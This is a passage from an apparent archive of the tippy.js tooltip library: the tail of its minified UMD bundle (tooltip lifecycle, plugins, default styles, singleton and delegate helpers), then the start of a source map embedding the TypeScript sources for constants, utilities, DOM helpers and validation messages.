o=rt(),a=o.box,s=o.content;Y.props.animation&&(w([a,s],r),x([a,s],"hidden"))}st(),ut(),Y.props.animation?tt()&&function(t,e){mt(t,(function(){!Y.state.isVisible&&$.parentNode&&$.parentNode.contains($)&&e()}))}(r,Y.unmount):Y.unmount()},hideWithInteractivity:function(t){nt().addEventListener("mousemove",F),f(U,F),F(t)},enable:function(){Y.state.isEnabled=!0},disable:function(){Y.hide(),Y.state.isEnabled=!1},unmount:function(){Y.state.isVisible&&Y.hide();if(!Y.state.isMounted)return;Tt(),At().forEach((function(t){t._tippy.unmount()})),$.parentNode&&$.parentNode.removeChild($);_=_.filter((function(t){return t!==Y})),Y.state.isMounted=!1,at("onHidden",[Y])},destroy:function(){if(Y.state.isDestroyed)return;Y.clearDelayTimeouts(),Y.unmount(),bt(),delete e._tippy,Y.state.isDestroyed=!0,at("onDestroy",[Y])}};if(!P.render)return Y;var q=P.render(Y),$=q.popper,J=q.onUpdate;$.setAttribute("data-tippy-root",""),$.id="tippy-"+Y.id,Y.popper=$,e._tippy=Y,$._tippy=Y;var G=X.map((function(t){return t.fn(Y)})),K=e.hasAttribute("aria-expanded");return ht(),ut(),it(),at("onCreate",[Y]),P.showOnCreate&&Lt(),$.addEventListener("mouseenter",(function(){Y.props.interactive&&Y.state.isVisible&&Y.clearDelayTimeouts()})),$.addEventListener("mouseleave",(function(){Y.props.interactive&&Y.props.trigger.indexOf("mouseenter")>=0&&nt().addEventListener("mousemove",F)})),Y;function Q(){var t=Y.props.touch;return Array.isArray(t)?t:[t,0]}function Z(){return"hold"===Q()[0]}function tt(){var t;return!(null==(t=Y.props.render)||!t.$$tippy)}function et(){return D||e}function nt(){var t=et().parentNode;return t?E(t):document}function rt(){return B($)}function ot(t){return Y.state.isMounted&&!Y.state.isVisible||T.isTouch||y&&"focus"===y.type?0:i(Y.props.delay,t?0:1,R.delay)}function it(t){void 0===t&&(t=!1),$.style.pointerEvents=Y.props.interactive&&!t?"":"none",$.style.zIndex=""+Y.props.zIndex}function at(t,e,n){var r;(void 0===n&&(n=!0),G.forEach((function(n){n[t]&&n[t].apply(n,e)})),n)&&(r=Y.props)[t].apply(r,e)}function st(){var t=Y.props.aria;if(t.content){var n="aria-"+t.content,r=$.id;c(Y.props.triggerTarget||e).forEach((function(t){var e=t.getAttribute(n);if(Y.state.isVisible)t.setAttribute(n,e?e+" "+r:r);else{var o=e&&e.replace(r,"").trim();o?t.setAttribute(n,o):t.removeAttribute(n)}}))}}function ut(){!K&&Y.props.aria.expanded&&c(Y.props.triggerTarget||e).forEach((function(t){Y.props.interactive?t.setAttribute("aria-expanded",Y.state.isVisible&&t===et()?"true":"false"):t.removeAttribute("aria-expanded")}))}function pt(){nt().removeEventListener("mousemove",F),U=U.filter((function(t){return t!==F}))}function ct(t){if(!T.isTouch||!S&&"mousedown"!==t.type){var n=t.composedPath&&t.composedPath()[0]||t.target;if(!Y.props.interactive||!C($,n)){if(c(Y.props.triggerTarget||e).some((function(t){return C(t,n)}))){if(T.isTouch)return;if(Y.state.isVisible&&Y.props.trigger.indexOf("click")>=0)return}else at("onClickOutside",[Y,t]);!0===Y.props.hideOnClick&&(Y.clearDelayTimeouts(),Y.hide(),I=!0,setTimeout((function(){I=!1})),Y.state.isMounted||vt())}}}function ft(){S=!0}function lt(){S=!1}function dt(){var t=nt();t.addEventListener("mousedown",ct,!0),t.addEventListener("touchend",ct,r),t.addEventListener("touchstart",lt,r),t.addEventListener("touchmove",ft,r)}function vt(){var t=nt();t.removeEventListener("mousedown",ct,!0),t.removeEventListener("touchend",ct,r),t.removeEventListener("touchstart",lt,r),t.removeEventListener("touchmove",ft,r)}function mt(t,e){var n=rt().box;function r(t){t.target===n&&(O(n,"remove",r),e())}if(0===t)return e();O(n,"remove",A),O(n,"add",r),A=r}function gt(t,n,r){void 0===r&&(r=!1),c(Y.props.triggerTarget||e).forEach((function(e){e.addEventListener(t,n,r),z.push({node:e,eventType:t,handler:n,options:r})}))}function ht(){var t;Z()&&(gt("touchstart",yt,{passive:!0}),gt("touchend",xt,{passive:!0})),(t=Y.props.trigger,t.split(/\s+/).filter(Boolean)).forEach((function(t){if("manual"!==t)switch(gt(t,yt),t){case"mouseenter":gt("mouseleave",xt);break;case"focus":gt(n?"focusout":"blur",Et);break;case"focusin":gt("focusout",Et)}}))}function bt(){z.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,o=t.options;e.removeEventListener(n,r,o)})),z=[]}function yt(t){var e,n=!1;if(Y.state.isEnabled&&!Ot(t)&&!I){var r="focus"===(null==(e=y)?void 0:e.type);y=t,D=t.currentTarget,ut(),!Y.state.isVisible&&h(t)&&U.forEach((function(e){return e(t)})),"click"===t.type&&(Y.props.trigger.indexOf("mouseenter")<0||V)&&!1!==Y.props.hideOnClick&&Y.state.isVisible?n=!0:Lt(t),"click"===t.type&&(V=!n),n&&!r&&Dt(t)}}function wt(t){var e=t.target,n=et().contains(e)||$.contains(e);"mousemove"===t.type&&n||function(t,e){var n=e.clientX,r=e.clientY;return t.every((function(t){var e=t.popperRect,o=t.popperState,i=t.props.interactiveBorder,a=l(o.placement),s=o.modifiersData.offset;if(!s)return!0;var u="bottom"===a?s.top.y:0,p="top"===a?s.bottom.y:0,c="right"===a?s.left.x:0,f="left"===a?s.right.x:0,d=e.top-r+u>i,v=r-e.bottom-p>i,m=e.left-n+c>i,g=n-e.right-f>i;return d||v||m||g}))}(At().concat($).map((function(t){var e,n=null==(e=t._tippy.popperInstance)?void 0:e.state;return n?{popperRect:t.getBoundingClientRect(),popperState:n,props:P}:null})).filter(Boolean),t)&&(pt(),Dt(t))}function xt(t){Ot(t)||Y.props.trigger.indexOf("click")>=0&&V||(Y.props.interactive?Y.hideWithInteractivity(t):Dt(t))}function Et(t){Y.props.trigger.indexOf("focusin")<0&&t.target!==et()||Y.props.interactive&&t.relatedTarget&&$.contains(t.relatedTarget)||Dt(t)}function Ot(t){return!!T.isTouch&&Z()!==t.type.indexOf("touch")>=0}function Ct(){Tt();var n=Y.props,r=n.popperOptions,o=n.placement,i=n.offset,a=n.getReferenceClientRect,s=n.moveTransition,u=tt()?B($).arrow:null,p=a?{getBoundingClientRect:a,contextElement:a.contextElement||et()}:e,c=[{name:"offset",options:{offset:i}},{name:"preventOverflow",options:{padding:{top:2,bottom:2,left:5,right:5}}},{name:"flip",options:{padding:5}},{name:"computeStyles",options:{adaptive:!s}},{name:"$$tippy",enabled:!0,phase:"beforeWrite",requires:["computeStyles"],fn:function(t){var e=t.state;if(tt()){var n=rt().box;["placement","reference-hidden","escaped"].forEach((function(t){"placement"===t?n.setAttribute("data-placement",e.placement):e.attributes.popper["data-popper-"+t]?n.setAttribute("data-"+t,""):n.removeAttribute("data-"+t)})),e.attributes.popper={}}}}];tt()&&u&&c.push({name:"arrow",options:{element:u,padding:3}}),c.push.apply(c,(null==r?void 0:r.modifiers)||[]),Y.popperInstance=t.createPopper(p,$,Object.assign({},r,{placement:o,onFirstUpdate:L,modifiers:c}))}function Tt(){Y.popperInstance&&(Y.popperInstance.destroy(),Y.popperInstance=null)}function At(){return d($.querySelectorAll("[data-tippy-root]"))}function Lt(t){Y.clearDelayTimeouts(),t&&at("onTrigger",[Y,t]),dt();var e=ot(!0),n=Q(),r=n[0],o=n[1];T.isTouch&&"hold"===r&&o&&(e=o),e?p=setTimeout((function(){Y.show()}),e):Y.show()}function Dt(t){if(Y.clearDelayTimeouts(),at("onUntrigger",[Y,t]),Y.state.isVisible){if(!(Y.props.trigger.indexOf("mouseenter")>=0&&Y.props.trigger.indexOf("click")>=0&&["mouseleave","mousemove"].indexOf(t.type)>=0&&V)){var e=ot(!1);e?g=setTimeout((function(){Y.state.isVisible&&Y.hide()}),e):b=requestAnimationFrame((function(){Y.hide()}))}}else vt()}}function F(t,e){void 0===e&&(e={});var n=R.plugins.concat(e.plugins||[]);document.addEventListener("touchstart",L,r),window.addEventListener("blur",k);var o=Object.assign({},e,{plugins:n}),i=y(t).reduce((function(t,e){var n=e&&z(e,o);return n&&t.push(n),t}),[]);return g(t)?i[0]:i}F.defaultProps=R,F.setDefaultProps=function(t){Object.keys(t).forEach((function(e){R[e]=t[e]}))},F.currentInput=T;var W=Object.assign({},t.applyStyles,{effect:function(t){var e=t.state,n={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};Object.assign(e.elements.popper.style,n.popper),e.styles=n,e.elements.arrow&&Object.assign(e.elements.arrow.style,n.arrow)}}),X={mouseover:"mouseenter",focusin:"focus",click:"click"};var Y={name:"animateFill",defaultValue:!1,fn:function(t){var e;if(null==(e=t.props.render)||!e.$$tippy)return{};var n=B(t.popper),r=n.box,o=n.content,i=t.props.animateFill?function(){var t=m();return t.className="tippy-backdrop",x([t],"hidden"),t}():null;return{onCreate:function(){i&&(r.insertBefore(i,r.firstElementChild),r.setAttribute("data-animatefill",""),r.style.overflow="hidden",t.setProps({arrow:!1,animation:"shift-away"}))},onMount:function(){if(i){var t=r.style.transitionDuration,e=Number(t.replace("ms",""));o.style.transitionDelay=Math.round(e/10)+"ms",i.style.transitionDuration=t,x([i],"visible")}},onShow:function(){i&&(i.style.transitionDuration="0ms")},onHide:function(){i&&x([i],"hidden")}}}};var q={clientX:0,clientY:0},$=[];function J(t){var e=t.clientX,n=t.clientY;q={clientX:e,clientY:n}}var G={name:"followCursor",defaultValue:!1,fn:function(t){var e=t.reference,n=E(t.props.triggerTarget||e),r=!1,o=!1,i=!0,a=t.props;function s(){return"initial"===t.props.followCursor&&t.state.isVisible}function u(){n.addEventListener("mousemove",f)}function p(){n.removeEventListener("mousemove",f)}function c(){r=!0,t.setProps({getReferenceClientRect:null}),r=!1}function f(n){var r=!n.target||e.contains(n.target),o=t.props.followCursor,i=n.clientX,a=n.clientY,s=e.getBoundingClientRect(),u=i-s.left,p=a-s.top;!r&&t.props.interactive||t.setProps({getReferenceClientRect:function(){var t=e.getBoundingClientRect(),n=i,r=a;"initial"===o&&(n=t.left+u,r=t.top+p);var s="horizontal"===o?t.top:r,c="vertical"===o?t.right:n,f="horizontal"===o?t.bottom:r,l="vertical"===o?t.left:n;return{width:c-l,height:f-s,top:s,right:c,bottom:f,left:l}}})}function l(){t.props.followCursor&&($.push({instance:t,doc:n}),function(t){t.addEventListener("mousemove",J)}(n))}function d(){0===($=$.filter((function(e){return e.instance!==t}))).filter((function(t){return t.doc===n})).length&&function(t){t.removeEventListener("mousemove",J)}(n)}return{onCreate:l,onDestroy:d,onBeforeUpdate:function(){a=t.props},onAfterUpdate:function(e,n){var i=n.followCursor;r||void 0!==i&&a.followCursor!==i&&(d(),i?(l(),!t.state.isMounted||o||s()||u()):(p(),c()))},onMount:function(){t.props.followCursor&&!o&&(i&&(f(q),i=!1),s()||u())},onTrigger:function(t,e){h(e)&&(q={clientX:e.clientX,clientY:e.clientY}),o="focus"===e.type},onHidden:function(){t.props.followCursor&&(c(),p(),i=!0)}}}};var K={name:"inlinePositioning",defaultValue:!1,fn:function(t){var e,n=t.reference;var r=-1,o=!1,i=[],a={name:"tippyInlinePositioning",enabled:!0,phase:"afterWrite",fn:function(o){var a=o.state;t.props.inlinePositioning&&(-1!==i.indexOf(a.placement)&&(i=[]),e!==a.placement&&-1===i.indexOf(a.placement)&&(i.push(a.placement),t.setProps({getReferenceClientRect:function(){return function(t){return function(t,e,n,r){if(n.length<2||null===t)return e;if(2===n.length&&r>=0&&n[0].left>n[1].right)return n[r]||e;switch(t){case"top":case"bottom":var o=n[0],i=n[n.length-1],a="top"===t,s=o.top,u=i.bottom,p=a?o.left:i.left,c=a?o.right:i.right;return{top:s,bottom:u,left:p,right:c,width:c-p,height:u-s};case"left":case"right":var f=Math.min.apply(Math,n.map((function(t){return t.left}))),l=Math.max.apply(Math,n.map((function(t){return t.right}))),d=n.filter((function(e){return"left"===t?e.left===f:e.right===l})),v=d[0].top,m=d[d.length-1].bottom;return{top:v,bottom:m,left:f,right:l,width:l-f,height:m-v};default:return e}}(l(t),n.getBoundingClientRect(),d(n.getClientRects()),r)}(a.placement)}})),e=a.placement)}};function s(){var e;o||(e=function(t,e){var n;return{popperOptions:Object.assign({},t.popperOptions,{modifiers:[].concat(((null==(n=t.popperOptions)?void 0:n.modifiers)||[]).filter((function(t){return t.name!==e.name})),[e])})}}(t.props,a),o=!0,t.setProps(e),o=!1)}return{onCreate:s,onAfterUpdate:s,onTrigger:function(e,n){if(h(n)){var o=d(t.reference.getClientRects()),i=o.find((function(t){return t.left-2<=n.clientX&&t.right+2>=n.clientX&&t.top-2<=n.clientY&&t.bottom+2>=n.clientY})),a=o.indexOf(i);r=a>-1?a:r}},onHidden:function(){r=-1}}}};var Q={name:"sticky",defaultValue:!1,fn:function(t){var e=t.reference,n=t.popper;function r(e){return!0===t.props.sticky||t.props.sticky===e}var o=null,i=null;function a(){var s=r("reference")?(t.popperInstance?t.popperInstance.state.elements.reference:e).getBoundingClientRect():null,u=r("popper")?n.getBoundingClientRect():null;(s&&Z(o,s)||u&&Z(i,u))&&t.popperInstance&&t.popperInstance.update(),o=s,i=u,t.state.isMounted&&requestAnimationFrame(a)}return{onMount:function(){t.props.sticky&&a()}}}};function Z(t,e){return!t||!e||(t.top!==e.top||t.right!==e.right||t.bottom!==e.bottom||t.left!==e.left)}return e&&function(t){var e=document.createElement("style");e.textContent=t,e.setAttribute("data-tippy-stylesheet","");var n=document.head,r=document.querySelector("head>style,head>link");r?n.insertBefore(e,r):n.appendChild(e)}('.tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#333;color:#fff;border-radius:4px;font-size:14px;line-height:1.4;white-space:normal;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-7px;left:0;border-width:8px 8px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-7px;left:0;border-width:0 8px 8px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:8px 0 8px 8px;border-left-color:initial;right:-7px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-7px;border-width:8px 8px 8px 0;border-right-color:initial;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:16px;height:16px;color:#333}.tippy-arrow:before{content:"";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:5px 9px;z-index:1}'),F.setDefaultProps({plugins:[Y,G,K,Q],render:N}),F.createSingleton=function(t,e){var n;void 0===e&&(e={});var r,o=t,i=[],a=[],s=e.overrides,u=[],f=!1;function l(){a=o.map((function(t){return c(t.props.triggerTarget||t.reference)})).reduce((function(t,e){return t.concat(e)}),[])}function d(){i=o.map((function(t){return t.reference}))}function v(t){o.forEach((function(e){t?e.enable():e.disable()}))}function g(t){return o.map((function(e){var n=e.setProps;return e.setProps=function(o){n(o),e.reference===r&&t.setProps(o)},function(){e.setProps=n}}))}function h(t,e){var n=a.indexOf(e);if(e!==r){r=e;var u=(s||[]).concat("content").reduce((function(t,e){return t[e]=o[n].props[e],t}),{});t.setProps(Object.assign({},u,{getReferenceClientRect:"function"==typeof u.getReferenceClientRect?u.getReferenceClientRect:function(){var t;return null==(t=i[n])?void 0:t.getBoundingClientRect()}}))}}v(!1),d(),l();var b={fn:function(){return{onDestroy:function(){v(!0)},onHidden:function(){r=null},onClickOutside:function(t){t.props.showOnCreate&&!f&&(f=!0,r=null)},onShow:function(t){t.props.showOnCreate&&!f&&(f=!0,h(t,i[0]))},onTrigger:function(t,e){h(t,e.currentTarget)}}}},y=F(m(),Object.assign({},p(e,["overrides"]),{plugins:[b].concat(e.plugins||[]),triggerTarget:a,popperOptions:Object.assign({},e.popperOptions,{modifiers:[].concat((null==(n=e.popperOptions)?void 0:n.modifiers)||[],[W])})})),w=y.show;y.show=function(t){if(w(),!r&&null==t)return h(y,i[0]);if(!r||null!=t){if("number"==typeof t)return i[t]&&h(y,i[t]);if(o.indexOf(t)>=0){var e=t.reference;return h(y,e)}return i.indexOf(t)>=0?h(y,t):void 0}},y.showNext=function(){var t=i[0];if(!r)return y.show(0);var e=i.indexOf(r);y.show(i[e+1]||t)},y.showPrevious=function(){var t=i[i.length-1];if(!r)return y.show(t);var e=i.indexOf(r),n=i[e-1]||t;y.show(n)};var x=y.setProps;return y.setProps=function(t){s=t.overrides||s,x(t)},y.setInstances=function(t){v(!0),u.forEach((function(t){return t()})),o=t,v(!1),d(),l(),u=g(y),y.setProps({triggerTarget:a})},u=g(y),y},F.delegate=function(t,e){var n=[],o=[],i=!1,a=e.target,s=p(e,["target"]),u=Object.assign({},s,{trigger:"manual",touch:!1}),f=Object.assign({touch:R.touch},s,{showOnCreate:!0}),l=F(t,u);function d(t){if(t.target&&!i){var n=t.target.closest(a);if(n){var r=n.getAttribute("data-tippy-trigger")||e.trigger||R.trigger;if(!n._tippy&&!("touchstart"===t.type&&"boolean"==typeof f.touch||"touchstart"!==t.type&&r.indexOf(X[t.type])<0)){var s=F(n,f);s&&(o=o.concat(s))}}}}function v(t,e,r,o){void 0===o&&(o=!1),t.addEventListener(e,r,o),n.push({node:t,eventType:e,handler:r,options:o})}return c(l).forEach((function(t){var e=t.destroy,a=t.enable,s=t.disable;t.destroy=function(t){void 0===t&&(t=!0),t&&o.forEach((function(t){t.destroy()})),o=[],n.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,o=t.options;e.removeEventListener(n,r,o)})),n=[],e()},t.enable=function(){a(),o.forEach((function(t){return t.enable()})),i=!1},t.disable=function(){s(),o.forEach((function(t){return t.disable()})),i=!0},function(t){var e=t.reference;v(e,"touchstart",d,r),v(e,"mouseover",d),v(e,"focusin",d),v(e,"click",d)}(t)})),l},F.hideAll=function(t){var e=void 0===t?{}:t,n=e.exclude,r=e.duration;_.forEach((function(t){var e=!1;if(n&&(e=b(n)?t.reference===n:t.popper===n.popper),!e){var o=t.props.duration;t.setProps({duration:r}),t.hide(),t.state.isDestroyed||t.setProps({duration:o})}}))},F.roundArrow='<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>',F})); //# sourceMappingURL=tippy-bundle.umd.min.js.map dist/tippy.umd.js.map 0000666 00000465252 15167156642 0010611 0 ustar 00 {"version":3,"file":"tippy.umd.js","sources":["../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/browser.ts","../src/validation.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/base-umd.js"],"sourcesContent":["export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","import {Targets} from './types';\n\nexport function createMemoryLeakWarning(method: string): string {\n const txt = method === 'destroy' ? 'n already-' : ' ';\n\n return [\n `${method}() was called on a${txt}destroyed instance. This is a no-op but`,\n 'indicates a potential memory leak.',\n ].join(' ');\n}\n\nexport function clean(value: string): string {\n const spacesAndTabs = /[ \\t]{2,}/g;\n const lineStartWithSpaces = /^[ \\t]*/gm;\n\n return value\n .replace(spacesAndTabs, ' ')\n .replace(lineStartWithSpaces, '')\n .trim();\n}\n\nfunction getDevMessage(message: string): string {\n return clean(`\n %ctippy.js\n\n %c${clean(message)}\n\n %c👷 This is a development-only message. It will be removed in production.\n `);\n}\n\nexport function getFormattedMessage(message: string): string[] {\n return [\n getDevMessage(message),\n // title\n 'color: #00C584; font-size: 1.3em; font-weight: bold;',\n // message\n 'line-height: 1.5',\n // footer\n 'color: #a6a095;',\n ];\n}\n\n// Assume warnings and errors never have the same message\nlet visitedMessages: Set<string>;\nif (__DEV__) {\n resetVisitedMessages();\n}\n\nexport function resetVisitedMessages(): void {\n visitedMessages = new Set();\n}\n\nexport function warnWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.warn(...getFormattedMessage(message));\n }\n}\n\nexport function errorWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.error(...getFormattedMessage(message));\n }\n}\n\nexport function validateTargets(targets: Targets): void {\n const didPassFalsyValue = !targets;\n const didPassPlainObject =\n Object.prototype.toString.call(targets) === '[object Object]' &&\n !(targets as any).addEventListener;\n\n errorWhen(\n didPassFalsyValue,\n [\n 'tippy() was passed',\n '`' + String(targets) + '`',\n 'as its targets (first) argument. Valid types are: String, Element,',\n 'Element[], or NodeList.',\n ].join(' ')\n );\n\n errorWhen(\n didPassPlainObject,\n [\n 'tippy() was passed a plain object which is not supported as an argument',\n 'for virtual positioning. Use props.getReferenceClientRect instead.',\n ].join(' ')\n );\n}\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst 